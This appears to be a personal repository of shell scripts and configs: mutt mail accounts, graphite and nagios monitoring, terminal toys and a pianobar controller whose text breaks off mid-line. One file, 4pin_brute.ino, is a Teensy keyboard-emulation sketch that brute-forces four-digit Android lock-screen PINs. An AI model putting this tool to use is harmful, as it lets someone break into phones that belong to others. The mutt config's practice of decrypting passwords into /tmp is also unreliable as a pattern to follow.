├── .muttrc-accounts ├── .muttrc-sidebar ├── 4pin_brute.ino ├── 8ball.sh ├── README.md ├── bandwidth_graphite.sh ├── bigghost.sh ├── citrusleaf_checks.sh ├── citrusleaf_graphite.sh ├── colorgrid.sh ├── motd.sh ├── pan.sh ├── response_test.sh ├── rfc-reader ├── s3_folderbackup.sh └── sysstat.sh /.muttrc-accounts: -------------------------------------------------------------------------------- 1 | #### mailbox names #### 2 | mailboxes 'imaps://USER@GAPPS1.com@imap.gmail.com:993/INBOX' \ 3 | 'imaps://USER@GAPPS2.com@imap.gmail.com:993/INBOX' \ 4 | 'imaps://USER@imap.gmail.com:993/INBOX' 5 | 6 | #### f key macros for direct mailbox access 7 | macro generic,index,pager "c imaps://USER@GAPPS1.com@imap.gmail.com:993/INBOX/\n" 8 | macro generic,index,pager "c imaps://USER@GAPPS2.com@imap.gmail.com:993/INBOX/\n" 9 | macro generic,index,pager "c imaps://USER@imap.gmail.com:993/INBOX/\n" 10 | 11 | ######################### 12 | #### account configs #### 13 | ######################### 14 | 15 | account-hook . 'unset preconnect imap_user imap_authenticators' 16 | 17 | #### passwords #### 18 | set my_tmp=`gpg -q --no-verbose -o /tmp/.passwords.tmp -d ~/.passwords.gpg` 19 | set my_pass_acct1=`cat /tmp/.passwords.tmp | grep acct1 | awk '{ print $2 }'` 20 | set my_pass_acct2=`cat /tmp/.passwords.tmp | grep acct2 | awk '{ print $2 }'` 21 | set my_pass_acct3=`cat /tmp/.passwords.tmp | grep acct3 | awk '{ print $2 }'` 22 | set my_del=`rm -f /tmp/.passwords.tmp` 23 | #### end passwords #### 24 | 25 | #### account1 #### 26 | account-hook 'imaps://USER@GAPPS1.com@imap.gmail.com:993/' \ 27 | ' set imap_user = "USER@GAPPS1.com" \ 28 | imap_pass = $my_pass_acct1 ' 29 | 30 | folder-hook 'imaps://USER@GAPPS1.com@imap.gmail.com:993/INBOX' \ 31 | ' set imap_user = "USER@GAPPS1.com" \ 32 | imap_pass = $my_pass_acct1 \ 33 | smtp_url = "smtp://USER@GAPPS1.com@smtp.gmail.com:587/" \ 34 | smtp_pass = $my_pass_acct1 \ 35 | from = "USER@GAPPS1.com" \ 36 | realname = "USER" \ 37 | spoolfile = "+INBOX" \ 38 | postponed="+[Gmail]/Drafts" \ 39 | mail_check=30 \ 40 | timeout=15 \ 41 | imap_keepalive=300 \ 42 | signature="" ' 43 | #### end account1 #### 44 | 45 | #### account2 #### 46 | account-hook 'imaps://USER@GAPPS2.com@imap.gmail.com:993/' \ 47 | ' set imap_user = "USER@GAPPS2.com" \ 48 | imap_pass = $my_pass_acct2 ' 49 | 50 | folder-hook 'imaps://USER@GAPPS2.com@imap.gmail.com:993/INBOX' \ 51 | ' set imap_user = "USER@GAPPS2.com" \ 52 | imap_pass = $my_pass_acct2 \ 53 | smtp_url = "smtp://USER@GAPPS2.com@smtp.gmail.com:587/" \ 54 | smtp_pass = $my_pass_acct2 \ 55 | from = "USER@GAPPS2.com" \ 56 | realname = "USER" \ 57 | folder = "imaps://imap.gmail.com:993" \ 58 | spoolfile = "+INBOX" \ 59 | postponed="+[Gmail]/Drafts" \ 60 | mail_check=60 \ 61 | imap_keepalive=300 \ 62 | signature="" \ 63 | pgp_decode_command="gpg %?p?--passphrase-fd 0? --no-verbose --batch --output - %f" \ 64 | pgp_verify_command="gpg --no-verbose --batch --output - --verify %s %f" \ 65 | pgp_decrypt_command="gpg --passphrase-fd 0 --no-verbose --batch --output - %f" \ 66 | pgp_sign_command="gpg --no-verbose --batch --output - --passphrase-fd 0 --armor --detach-sign --textmode %?a?-u %a? %f" \ 67 | pgp_clearsign_command="gpg --no-verbose --batch --output - --passphrase-fd 0 --armor --textmode --clearsign %?a?-u %a? %f" \ 68 | pgp_encrypt_only_command="pgpewrap gpg --batch --quiet --no-verbose --output - --encrypt --textmode --armor --always-trust --encrypt-to 0xDEADBEEF -- -r %r -- %f" \ 69 | pgp_encrypt_sign_command="pgpewrap gpg --passphrase-fd 0 --batch --quiet --no-verbose --textmode --output - --encrypt --sign %?a?-u %a? --armor --always-trust --encrypt-to 0xDEADBEEF -- -r %r -- %f" \ 70 | pgp_import_command="gpg --no-verbose --import -v %f" \ 71 | pgp_export_command="gpg --no-verbose --export --armor %r" \ 72 | pgp_verify_key_command="gpg --no-verbose --batch --fingerprint --check-sigs %r" \ 73 | pgp_list_pubring_command="gpg --no-verbose --batch --with-colons --list-keys %r" \ 74 | pgp_list_secring_command="gpg --no-verbose --batch --with-colons --list-secret-keys %r" \ 75 | pgp_autosign=yes \ 76 | pgp_sign_as=0xDEADBEEF \ 77 | pgp_replyencrypt=yes \ 78 | pgp_timeout=1800 \ 79 | pgp_good_sign="^gpg: Good signature from" ' 80 | #### end account2 #### 81 | 82 | #### account 3 gmail #### 83 | account-hook 'imaps://USER@imap.gmail.com:993/' \ 84 | ' set imap_user = "USER@gmail.com" \ 85 | imap_pass = $my_pass_acct3 ' 86 | 87 | folder-hook 'imaps://USER@imap.gmail.com:993/INBOX' \ 88 | ' set imap_user = "USER@gmail.com" \ 89 | imap_pass = $my_pass_acct3 \ 90 | smtp_url = "smtp://USER@smtp.gmail.com:587/" \ 91 | smtp_pass = $my_pass_acct3 \ 92 | from = "USER@gmail.com" \ 93 | realname = "USER" \ 94 | folder = "imaps://imap.gmail.com:993" \ 95 | spoolfile = "+INBOX" \ 96 | postponed="+[Gmail]/Drafts" \ 97 | mail_check=60 \ 98 | imap_keepalive=300 \ 99 | signature="" ' 100 | #### end account 3 gmail #### 101 | -------------------------------------------------------------------------------- /.muttrc-sidebar: -------------------------------------------------------------------------------- 1 | # Sidebar 2 | set sidebar_width=30 3 | set sidebar_visible=yes 4 | set sidebar_delim='|' 5 | set sidebar_sort=yes 6 | color sidebar_new brightblue black 7 | 8 | macro index G 'toggle sidebar_visible' 9 | macro pager G 'toggle sidebar_visible' 10 | 11 | # bind index,pager \CP sidebar-prev 12 | bind index,pager \CK sidebar-prev 13 | bind index,pager \CN sidebar-next 14 | bind index,pager \CO sidebar-open 15 | -------------------------------------------------------------------------------- /4pin_brute.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * 4pin brute 3 | * 4 | * this sketch outputs numbers 0000 - 9999 as an hid device for pin brute 5 | * forcing. tested against android devices of version 4.1.x and less using 6 | * a teensy 3.0. 7 | * 8 | * cesar@pissedoffadmins.com 9 | * 10 | */ 11 | 12 | int fPINinput = 0; 13 | int i = 0; 14 | const int ledPin = 13; 15 | 16 | void setup() 17 | { 18 | pinMode(ledPin, OUTPUT); 19 | delay(5000); 20 | } 21 | 22 | void loop() 23 | { 24 | if (fPINinput==0){ 25 | for (int i=0; i <= 9999; i++){ 26 | digitalWrite(ledPin, LOW); 27 | String pad = i; 28 | 29 | if (i<=9){ 30 | Keyboard.println("000" + pad); 31 | } 32 | else if (i>=10 && i<=99){ 33 | Keyboard.println("00" + pad); 34 | } 35 | else if (i>=100 && i<=999){ 36 | Keyboard.println("0" + pad); 37 | } 38 | else { 39 | Keyboard.println(i); 40 | } 41 | 42 | delay(500); 43 | //Keyboard.println(); 44 | 45 | if (i!=0 && i%5==0){ 46 | digitalWrite(ledPin, HIGH); 47 | delay(30000); 48 | //Keyboard.println(); 49 | } 50 | } 51 | fPINinput = 1; 52 | } 53 | else 54 | { 55 | digitalWrite(ledPin, HIGH); 56 | delay(2500); 57 | digitalWrite(ledPin, LOW); 58 | delay(2500); 59 | Keyboard.println(); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /8ball.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | [ -z $(which tput 2>/dev/null) ] && { printf "%s\n" "tput not found"; exit 1; } 4 | 5 | GRN=$(tput setaf 2) 6 | YLW=$(tput setaf 3) 7 | RED=$(tput setaf 1) 8 | CLR=$(tput sgr0) 9 | 10 | ANSWERS=( 11 | "`printf "${GRN}●${CLR} It is certain"`" 12 | "`printf "${GRN}●${CLR} It is decidedly so"`" 13 | "`printf "${GRN}●${CLR} Without a doubt"`" 14 | "`printf "${GRN}●${CLR} Yes definitely"`" 15 | "`printf "${GRN}●${CLR} You may rely on it"`" 16 | "`printf "${GRN}●${CLR} As I see it yes"`" 17 | "`printf "${GRN}●${CLR} Most likely"`" 18 | "`printf "${GRN}●${CLR} Outlook good"`" 19 | "`printf "${GRN}●${CLR} Yes"`" 20 | "`printf "${GRN}●${CLR} Signs point to yes"`" 21 | "`printf "${YLW}●${CLR} Reply hazy try again"`" 22 | "`printf "${YLW}●${CLR} Ask again later"`" 23 | "`printf "${YLW}●${CLR} Better not tell you now"`" 24 | "`printf "${YLW}●${CLR} Cannot predict now"`" 25 | "`printf "${YLW}●${CLR} Concentrate and ask again"`" 26 | "`printf "${RED}●${CLR} Dont count on it"`" 27 | "`printf "${RED}●${CLR} My reply is no"`" 28 | "`printf "${RED}●${CLR} My sources say no"`" 29 | "`printf "${RED}●${CLR} Outlook not so good"`" 30 | "`printf "${RED}●${CLR} Very doubtful"`" 31 | ) 32 | 33 | MOD=${#ANSWERS[*]} 34 | INDEX=$(($RANDOM%$MOD)) 35 | W_CNT=$((${#ANSWERS[$INDEX]}-9)) 36 | 37 | printf $(tput clear) 38 | tput cup $(($(tput lines)/2)) $((($(tput cols)/2)-($W_CNT/2))) 39 | printf "${ANSWERS[$INDEX]}" 40 | tput cup $(tput lines) 0 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | scripts from the site 2 | -------------------------------------------------------------------------------- /bandwidth_graphite.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ####### 4 | # this script uses bwm-ng to gather the bandwidth rx/tx and packet rx/tx on specified interfaces 5 | # it only sends numeric values 6 | # 7 | # to run this script : 8 | # nohup sh ~/scripts/bandwidth_graphite.sh & >/dev/null 2>&1 9 | # 10 | # to run this script in cron : 11 | # * 3 * * * kill -9 `ps -ef | egrep graphite | grep -v grep | awk '{print $2}'` | sleep 5 && nohup sh ~/scripts/bandwidth_graphite.sh & >/dev/null 2>&1 12 | # or 13 | # * 3 * * * kill -9 `ps -ef | awk '/graphite/&&!/awk/&&!/vim/ {print $2}'` | sleep 5 && nohup sh ~/scripts/bandwidth_graphite.sh & >/dev/null 2>&1 14 | # 15 | # legend of bwm-ng output formatted for csv : 16 | # unix_timestamp;iface_name;bytes_out;bytes_in;bytes_total;packets_out;packets_in;packets_total;errors_out;errors_in 17 | ####### 18 | 19 | HOSTNAME=`echo $HOSTNAME | cut -d. -f1` 20 | GRAPH_SERVER="" 21 | GRAPH_PORT="" 22 | INTERFACES='eth0 23 | eth1 24 | eth2 25 | eth3' 26 | 27 | #### check to see if bwm-ng is installed #### 28 | if [ ! -f /usr/bin/bwm-ng ]; then 29 | echo "INSTALL BWM" 30 | exit 1 31 | fi 32 | 33 | #### check to see if netcat is installed #### 34 | if [ ! -f /usr/bin/nc ]; then 35 | echo "INSTALL NETCAT" 36 | exit 1 37 | fi 38 | 39 | #### you should not have to change anything below this line #### 40 | 41 | while (true) 42 | do 43 | for I in ${INTERFACES} 44 | do 45 | #### set BWM_OUT to filtered output of bwm-ng #### 46 | BWM_OUT=`/usr/bin/bwm-ng --interface ${I} -o plain -t 1000 -o csv -c 1 | grep -v total` 47 | #### use date in epoch from BWM_OUT #### 48 | DATE=`echo ${BWM_OUT} | cut -d";" -f1` 49 | #### use interface name from BWM_OUT #### 50 | IFACE=`echo ${BWM_OUT} | cut -d";" -f2` 51 | #### packets in #### 52 | RXPCK=`echo ${BWM_OUT} | cut -d";" -f7` 53 | #### packets out #### 54 | TXPCK=`echo ${BWM_OUT} | cut -d";" -f6` 55 | #### bytes in #### 56 | RXBYT=`echo ${BWM_OUT} | cut -d";" -f4` 57 | #### bytes out #### 58 | TXBYT=`echo ${BWM_OUT} | cut -d";" -f3` 59 | 60 | #### begin nc to graph services #### 61 | echo "${HOSTNAME}.${IFACE}.RxPACKETS ${RXPCK} ${DATE}" | nc ${GRAPH_SERVER} ${GRAPH_PORT} 62 | echo "${HOSTNAME}.${IFACE}.TxPACKETS ${TXPCK} ${DATE}" | nc ${GRAPH_SERVER} ${GRAPH_PORT} 63 | echo "${HOSTNAME}.${IFACE}.RxBYTES ${RXBYT} ${DATE}" | nc ${GRAPH_SERVER} ${GRAPH_PORT} 64 | echo "${HOSTNAME}.${IFACE}.TxBYTES ${TXBYT} ${DATE}" | nc ${GRAPH_SERVER} ${GRAPH_PORT} 65 | done 66 | done 67 | -------------------------------------------------------------------------------- /bigghost.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # this script generates names according to the names from : 4 | # http://www.bigghostlimited.com/?b2w=http://bigghostnahmean.blogspot.com/ 5 | # made for fun 6 | 7 | [ -z $(which tput 2>/dev/null) ] && { printf "%s\n" "tput not found"; exit 1; } 8 | 9 | GRN=$(tput setaf 2); YLW=$(tput setaf 3); RED=$(tput setaf 1); CLR=$(tput sgr0) 10 | 11 | PRE=("" "Muthafuckin wise n powerful" "The world famous" "The imperial" 12 | "That muthafucka wit two iron midgets for hands" "The almighty" 13 | "The grand emperor" "The grand royal" "The illustrious" "The magnificent" 14 | "The super supreme") 15 | PRE_INDEX=$(( $RANDOM % ${#PRE[*]} )) 16 | PRE_W_CNT=$(( ${#PRE[$PRE_INDEX]} )) 17 | PRE_OUT=${GRN}${PRE[$PRE_INDEX]} 18 | 19 | MID1=("Broccoli" "Caviar" "Cocaine" "Divine" "Galaxy" "Hands_of_Zeus" "Phantom" 20 | "Shampoo" "Spartacus" "Swole_Ya_Eye" "Thor" "Volcano" "Watch_Ya_Mouf") 21 | MID1_INDEX=$(( $RANDOM % ${#MID1[*]} )) 22 | MID1_W_CNT=$(( ${#MID1[$MID1_INDEX]} )) 23 | if [ `echo ${MID1[$MID1_INDEX]} | cut -d_ -f1 -s | wc -l` -lt 1 ]; then 24 | MID2=("Bundles" "Tusks" "Biceps" "Snowcones" "Knuckles" "Raviolis" 25 | "Bracelets" "Deluxe" "Molecules" "Hands") 26 | MID2_INDEX=$(( $RANDOM % ${#MID2[*]} )) 27 | MID_W_CNT=$(( ${#MID1[$MID1_INDEX]} + ${#MID2[$MID2_INDEX]} )) 28 | MID_OUT="${RED}${MID1[$MID1_INDEX]} ${MID2[$MID2_INDEX]}" 29 | else 30 | MID_W_CNT=$(( ${#MID1[$MID1_INDEX]} )) 31 | MID_OUT="${RED}`echo ${MID1[$MID1_INDEX]}|tr "_" " "`" 32 | fi 33 | 34 | POST=("" "in the flesh" "the magnificent" "the panty melter" "the great" 35 | "the wallabee champ" "via amazin wizardry n shit" 36 | "the Stapleton gladiator namsayin") 37 | POST_INDEX=$(( $RANDOM % ${#POST[*]} )) 38 | POST_W_CNT=$(( ${#POST[$POST_INDEX]} )) 39 | POST_OUT=${YLW}${POST[$POST_INDEX]}${CLR} 40 | 41 | printf $(tput clear) 42 | CNT=$(( ${PRE_W_CNT} + ${MID_W_CNT} + ${POST_W_CNT} )) 43 | tput cup $(( $(tput lines) / 2 )) $((( $(tput cols) / 2 ) - ( $CNT / 2 ) )) 44 | printf "${PRE_OUT} ${MID_OUT} ${POST_OUT}" 45 | tput cup $(tput lines) 0 46 | -------------------------------------------------------------------------------- /citrusleaf_checks.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ##### 4 | # this script is used in nagios to check citrusleaf's "available_percent", "bytes-disk-used", and "evicted-objects" 5 | # it also outputs the performance data of those numbers for usage in pnp4nagios or whatever else. 6 | # usage: 7 | # citrusleaf_checks.sh 8 | ##### 9 | 10 | NAMESPACE="namespace/devices" 11 | # rm -f /tmp/cl* 12 | TEMP=/tmp/cltmp.$$ 13 | INFO=/tmp/clinfotmp.$$ 14 | touch $TEMP $INFO 15 | SERVER="127.0.0.1" 16 | PORT="3000" 17 | CLINFO=`which clinfo` 18 | 19 | 20 | #### you should not have to change anything below this line #### 21 | 22 | if [[ -z ${CLINFO} ]]; then 23 | printf "\nclinfo not installed\n" 24 | exit 1 25 | done 26 | 27 | 28 | for x in $SERVER; do 29 | clinfo -h $x -p $PORT -v "$NAMESPACE" > $INFO 30 | done 31 | 32 | grep "type" $INFO > $TEMP 33 | 34 | case $1 in 35 | 'evictions'|'evicted'|'evict') 36 | EVICTIONS=`cat $TEMP | awk -F "[;=]" '{print $8}'` 37 | if [[ -z "${2}" || -z "${3}" ]]; then 38 | printf "must set warning and critical values" 39 | else 40 | if [[ ${EVICTIONS} -ge ${2} ]]; then 41 | if [[ ${EVICTIONS} -ge ${3} ]]; then 42 | echo "CRITICAL: evicted-objects=${EVICTIONS} | evicted-objects=${EVICTIONS};${2};${3};0;0" 43 | rm -f /tmp/cltmp.$$ ; rm -f /tmp/clinfotmp.$$ 44 | exit 2 45 | fi 46 | echo "WARNING: evicted-objects=${EVICTIONS} | evicted-objects=${EVICTIONS};${2};${3};0;0" 47 | rm -f /tmp/cltmp.$$ ; rm -f /tmp/clinfotmp.$$ 48 | exit 1 49 | else 50 | echo "OK: evicted-objects=${EVICTIONS} | evicted-objects=${EVICTIONS};${2};${3};0;0" 51 | rm -f /tmp/cltmp.$$ ; rm -f /tmp/clinfotmp.$$ 52 | exit 0 53 | fi 54 | fi 55 | ;; 56 | 57 | 'bytes'|'disk') 58 | BYTES_USED_DISK=`cat $TEMP | awk -F "[;=]" '{print $40}'` 59 | BYTES_USED_DISK_GB=`echo ${BYTES_USED_DISK} | awk '{ split( "KB MB GB" , v ); s=1; while( $1>1024 ){ $1/=1024; s++ } print int($1) v[s] }'` 60 | if [[ ${BYTES_USED_DISK} -lt "1024000" ]]; then 61 | BUD_SIZE="KB" 62 | else 63 | if [[ ${BYTES_USED_DISK} -ge 1024000000 ]]; then 64 | BUD_SIZE="GB" 65 | else 66 | BUD_SIZE="MB" 67 | fi 68 | fi 69 | 70 | TOTAL_BYTES_DISK=`cat $TEMP | awk -F "[;=]" '{print $42}'` 71 | TOTAL_BYTES_DISK_GB=`echo ${TOTAL_BYTES_DISK} | awk '{ split( "KB MB GB" , v ); s=1; while( $1>1024 ){ $1/=1024; s++ } print int($1) v[s] }'` 72 | if [[ ${TOTAL_BYTES_DISK} -lt "1024000" ]]; then 73 | TBD_SIZE="KB" 74 | else 75 | if [[ ${TOTAL_BYTES_DISK} -ge 1024000000 ]]; then 76 | TBD_SIZE="GB" 77 | else 78 | TBD_SIZE="MB" 79 | fi 80 | fi 81 | 82 | if [[ -z "${2}" || -z "${3}" ]]; then 83 | printf "must set warning and critical values" 84 | else 85 | if [[ ${BYTES_USED_DISK} -ge ${2} ]]; then 86 | if [[ ${BYTES_USED_DISK} -ge ${3} ]]; then 87 | echo "CRITICAL: used-bytes-disk=${BYTES_USED_DISK_GB}${BUD_SIZE} | used_bytes_disk=${BYTES_USED_DISK};${2};${3};0;0" 88 | rm -f /tmp/cltmp.$$ ; rm -f /tmp/clinfotmp.$$ 89 | exit 2 90 | fi 91 | echo "WARNING: used-bytes-disk=${BYTES_USED_DISK_GB}${BUD_SIZE} | used_bytes_disk=${BYTES_USED_DISK};${2};${3};0;0" 92 | rm -f /tmp/cltmp.$$ ; rm -f /tmp/clinfotmp.$$ 93 | exit 1 94 | else 95 | echo "OK: used-bytes-disk=${BYTES_USED_DISK_GB}${BUD_SIZE} | used_bytes_disk=${BYTES_USED_DISK};${2};${3};0;0" 96 | rm -f /tmp/cltmp.$$ ; rm -f /tmp/clinfotmp.$$ 97 | exit 0 98 | fi 99 | fi 100 | ;; 101 | 102 | 'percent'|'pct') 103 | AVAILABLE_PCT=`cat $TEMP | awk -F "[;=]" '{print $68}'` 104 | if [[ -z "${2}" || -z "${3}" ]]; then 105 | printf "must set warning and critical values" 106 | else 107 | if [[ ${AVAILABLE_PCT} -ge ${2} ]]; then 108 | if [[ ${AVAILABLE_PCT} -ge ${3} ]]; then 109 | echo "CRITICAL: available_pct=${AVAILABLE_PCT} | available_pct=${AVAILABLE_PCT};${2};${3};0;0" 110 | rm -f /tmp/cltmp.$$ ; rm -f /tmp/clinfotmp.$$ 111 | exit 2 112 | fi 113 | echo "WARNING: available_pct=${AVAILABLE_PCT} | available_pct=${AVAILABLE_PCT};${2};${3};0;0" 114 | rm -f /tmp/cltmp.$$ ; rm -f /tmp/clinfotmp.$$ 115 | exit 1 116 | else 117 | echo "OK: available_pct=${AVAILABLE_PCT} | available_pct=${AVAILABLE_PCT};${2};${3};0;0" 118 | rm -f /tmp/cltmp.$$ ; rm -f /tmp/clinfotmp.$$ 119 | exit 0 120 | fi 121 | fi 122 | ;; 123 | 124 | 'help'|*) echo "usage: $0 " 125 | esac 126 | -------------------------------------------------------------------------------- /citrusleaf_graphite.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ####### 4 | # this script runs through clinfo and grabs all the values for citrusleaf, then parses them out to graphite every 10 seconds. 5 | # it only sends numeric values. 6 | # 7 | # to run this script : 8 | # nohup sh citrusleaf_graphite.sh & 9 | # 10 | ####### 11 | 12 | NAMESPACE="" 13 | HOSTNAME=`echo $HOSTNAME | cut -d. -f1` 14 | DATE=`date +%s` 15 | NETCAT=`which nc` 16 | CL_SERVER="127.0.0.1" 17 | CL_PORT="3000" 18 | GRAPHITE_SERVER="" 19 | GRAPHITE_PORT="2003" 20 | NUMBER="0" 21 | 22 | #### this is to check whether or not netcat is installed #### 23 | 24 | if [[ -z ${NETCAT} ]]; then 25 | printf "\nnc not found.\n" 26 | exit 1 27 | fi 28 | 29 | #### you should not have to change anything below this line #### 30 | 31 | while (true) 32 | do 33 | DATE=`date +%s` 34 | NUMBER="0" 35 | for I in $(clinfo -h ${CL_SERVER} -p ${CL_PORT} -v ${NAMESPACE} | grep type | cut -d" " -f4 | tr ";" "\n") 36 | do 37 | # NUMBER=`expr ${NUMBER} + 2` 38 | NAME=`echo ${I} | cut -d"=" -f1` 39 | VALUE=`echo ${I} | cut -d"=" -f2 | cut -d";" -f1` 40 | VALUE_CHK=${VALUE//[^0-9]/} 41 | if [[ ${VALUE} == ${VALUE_CHK} ]]; then 42 | # echo ${NUMBER} ${I} 43 | # echo "value to nc:" 44 | # echo ${HOSTNAME}.${NAME} ${VALUE} ${DATE} 45 | echo "${HOSTNAME}.${NAME} ${VALUE} ${DATE}" | nc ${GRAPHITE_SERVER} ${GRAPHITE_PORT} 46 | fi 47 | done 48 | sleep 10 49 | done 50 | -------------------------------------------------------------------------------- /colorgrid.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function cgrid() { 4 | for x in $(seq -w 029 047); do 5 | echo -n ${x}\;XXX "|" 6 | for y in $(seq -w 029 047); do 7 | if [ "$x" == "029" ]; then 8 | echo -en "\033[4m" XXX\;${y} "\033[0m" 9 | else 10 | echo -en "\033[${x};${y}m" ${x}\;${y} "\033[0m" 11 | fi 12 | done 13 | printf "\n" 14 | done 15 | } 16 | 17 | function pgrid() { 18 | for x in $(seq -w 089 107); do 19 | echo -n ${x}\;XXX "|" 20 | for y in $(seq -w 089 107); do 21 | if [ "$x" == "089" ]; then 22 | echo -en "\033[4m" XXX\;${y} "\033[0m" 23 | else 24 | echo -en "\033[${x};${y}m" ${x}\;${y} "\033[0m" 25 | fi 26 | done 27 | printf "\n" 28 | done 29 | } 30 | 31 | case $1 in 32 | 'normal'|'regular'|'standard') 33 | cgrid 34 | ;; 35 | 36 | 'pastel'|'pastels') 37 | pgrid 38 | ;; 39 | 40 | 'all') 41 | cgrid 42 | printf "\n" 43 | pgrid 44 | printf "\n\n" 45 | ;; 46 | 47 | 'help'|*) echo "usage: $0 " 48 | esac 49 | -------------------------------------------------------------------------------- /motd.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # text format && color 4 | ORN=$(tput setaf 3); RED=$(tput setaf 1); BLU=$(tput setaf 4) 5 | GRN=$(tput setaf 40); MGN=$(tput setaf 5); CLR=$(tput sgr0) 6 | 7 | function FIGLET() { 8 | if [[ -f $(which figlet 2>/dev/null) ]]; then 9 | printf "%s" "${GRN}"; figlet -c $(hostname) 10 | fi 11 | } 12 | 13 | function LAST() { 14 | if [[ $(lastlog -u $USER | awk 'END {print $2}') = tty* ]]; then 15 | LL=$(lastlog -u $USER | tail -n 1) 16 | FROM=$(echo ${LL} | awk '{ print $2 }') 17 | AT=$(echo ${LL} | awk '{ print $3,$4,$5,$6 }') 18 | else 19 | LL=$(lastlog -u $USER | tail -n 1) 20 | FROM=$(echo ${LL} | awk '{ print $3 }') 21 | AT=$(echo ${LL} | awk '{ print $4,$5,$6,$7 }') 22 | fi 23 | printf "\n%s%s%s%s\n" "${MGN}" "Last Login.: " "${BLU}" \ 24 | "From ${FROM} on ${AT}" 25 | } 26 | 27 | function UPTIME() { 28 | UPTOT=$(cut -d. -f1 /proc/uptime) 29 | UPD=$(expr ${UPTOT} / 60 / 60 / 24) 30 | UPH=$(expr ${UPTOT} / 60 / 60 % 24) 31 | UPM=$(expr ${UPTOT} / 60 % 60) 32 | UPS=$(expr ${UPTOT} % 60) 33 | printf "%s%s%s%s\n" "${MGN}" "Uptime.....: " "${BLU}" \ 34 | "${UPD} days ${UPH} hours ${UPM} minutes ${UPS} seconds" 35 | } 36 | 37 | function LOAD() { 38 | eval $(cat /proc/loadavg | awk '{printf "LOAD1=%s; LOAD5=%s; LOAD15=%s;", \ 39 | $1,$2,$3};' -) 40 | printf "%s%s%s%s\n" "${MGN}" "Load.......: " "${BLU}" \ 41 | "${LOAD1} (1 minute) ${LOAD5} (5 minutes) ${LOAD15} (15 minutes)" 42 | } 43 | 44 | function MEMORY() { 45 | eval $(free -m | awk '/^Mem:/ {printf "MEM=%s; USED=%s; FREE=%s; \ 46 | FREE_CACHE=%s;", $2,$3,$4,$6};') 47 | eval $(free -m | awk '/^Swap:/ {printf "SWAP_USE=%s;", $3};') 48 | printf "%s%s%s%s%s\n" "${MGN}" "Memory MB..: " "${BLU}" \ 49 | "${MEM}mb, Used: ${USED}mb, Free: ${FREE}mb, " \ 50 | "Free Cached: ${FREE_CACHE}mb, Swap In Use: ${SWAP_USE}mb" 51 | } 52 | 53 | function DISKUSAGE() { 54 | DUH=$(du -ms $(echo $HOME) | awk '{ print $1 }') 55 | printf "%s%s%s%s\n" "${MGN}" "Disk Usage.: " "${BLU}" \ 56 | "You are using ${DUH}mb in ${HOME}" 57 | } 58 | 59 | function SSH() { 60 | USERS=$(who | awk '{print $1}' | sort | uniq | wc -l) 61 | printf "%s%s%s%s\n" "${MGN}" "SSH Logins.: " "${BLU}" \ 62 | "There are currently ${USERS} users logged in" 63 | } 64 | 65 | function PROC() { 66 | P_TOT=$(ps -A h | wc -l) 67 | P_USR=$(ps U ${USER} | wc -l) 68 | printf "%s%s%s%s\n" "${MGN}" "Processes..: " "${BLU}" \ 69 | "${P_TOT} total running of which ${P_USR} are yours" 70 | } 71 | 72 | function RULES() { 73 | printf "%s\n\n" "${GRN}" 74 | cat </dev/null) ]]; then 85 | if [[ -f $(which cowthink 2>/dev/null) ]]; then 86 | printf "%s\n" "${RED}" 87 | fortune | cowthink -f $(ls /usr/share/cowsay-3.03/cows | shuf -n1) 88 | fi 89 | fi 90 | } 91 | 92 | ##functions below 93 | FIGLET 94 | LAST 95 | UPTIME 96 | LOAD 97 | MEMORY 98 | DISKUSAGE 99 | SSH 100 | PROC 101 | RULES 102 | FORTUNE 103 | printf "\n\n" 104 | -------------------------------------------------------------------------------- /pan.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #### pianobar fifo control script 4 | 5 | # lets check if fifo file exists, if not create it 6 | PIPE=`cat ${HOME}/.config/pianobar/config | grep -v "#" | grep fifo | tr -d "\ " | cut -d"=" -f2` 7 | if [[ ! -p ${PIPE} ]]; then 8 | if [[ -z ${PIPE} ]]; then 9 | printf "\npianobar fifo not specified in config\nexiting\n" 10 | exit 1 11 | fi 12 | printf "\npianobar fifo does not exist\n" 13 | read -p "should i create it ? (y/n): " YN 14 | case $YN in 15 | [Yy]* ) mkfifo ${PIPE} ; printf -- "\npianobar fifo created\n" ;; 16 | [Nn]* ) exit 1 ;; 17 | esac 18 | fi 19 | 20 | # lets make sure pianobar is running, if not ask to run 21 | if [[ ! `pgrep -u $(id -u) pianobar$` ]]; then 22 | printf "\npianobar is not running\n" 23 | read -p "should i start pianobar ? (y/n): " YN 24 | case $YN in 25 | [Yy]* ) pianobar && exit ;; 26 | [Nn]* ) exit 1 ;; 27 | esac 28 | fi 29 | 30 | # help stuffs 31 | help_section() { 32 | printf "\n$(basename $0)\n" 33 | printf -- "Usage: $(basename $0) [OPTION]\n\n" 34 | printf -- "Usage Example : \"$(basename $0) n\" \"$(basename $0) --next\" \"$(basename $0) next\"\n" 35 | printf -- "This will jump to the next track\n\n" 36 | printf -- "Options:\n" 37 | printf -- "+, --love, love -- Love this song\n" 38 | printf -- "-, --ban, ban -- Ban this song\n" 39 | printf -- "b, --bookmark, bookmark -- Bookmark song \ artist\n" 40 | printf -- "e, --explain, explain -- Explain why this song is playing\n" 41 | printf -- "h, --history, history -- History of whats played\n" 42 | printf -- "i, --info, info -- Info for whats playing\n" 43 | printf -- "n, --next, next -- Next song\n" 44 | printf -- "p, --pause, pause -- Pause \ Play song\n" 45 | printf -- "q, --quit, quit -- Quit Pianobar\n" 46 | printf -- "t, --tired, tired -- Tired (ban song for 1 month)\n" 47 | printf -- "u, --upcoming, upcoming -- Upcoming songs\n" 48 | printf -- "vd, --voldown, voldown -- Volume Down\n" 49 | printf -- "vu, --volup, volup -- Volume Up\n" 50 | printf -- "\nvolume up and down can also have a value added:\n" 51 | printf -- "\n$(basename $0) [volume option] [1-25]\n\n\n" 52 | printf "pianobar pid (euid=$(id -u)): " 53 | pgrep -u 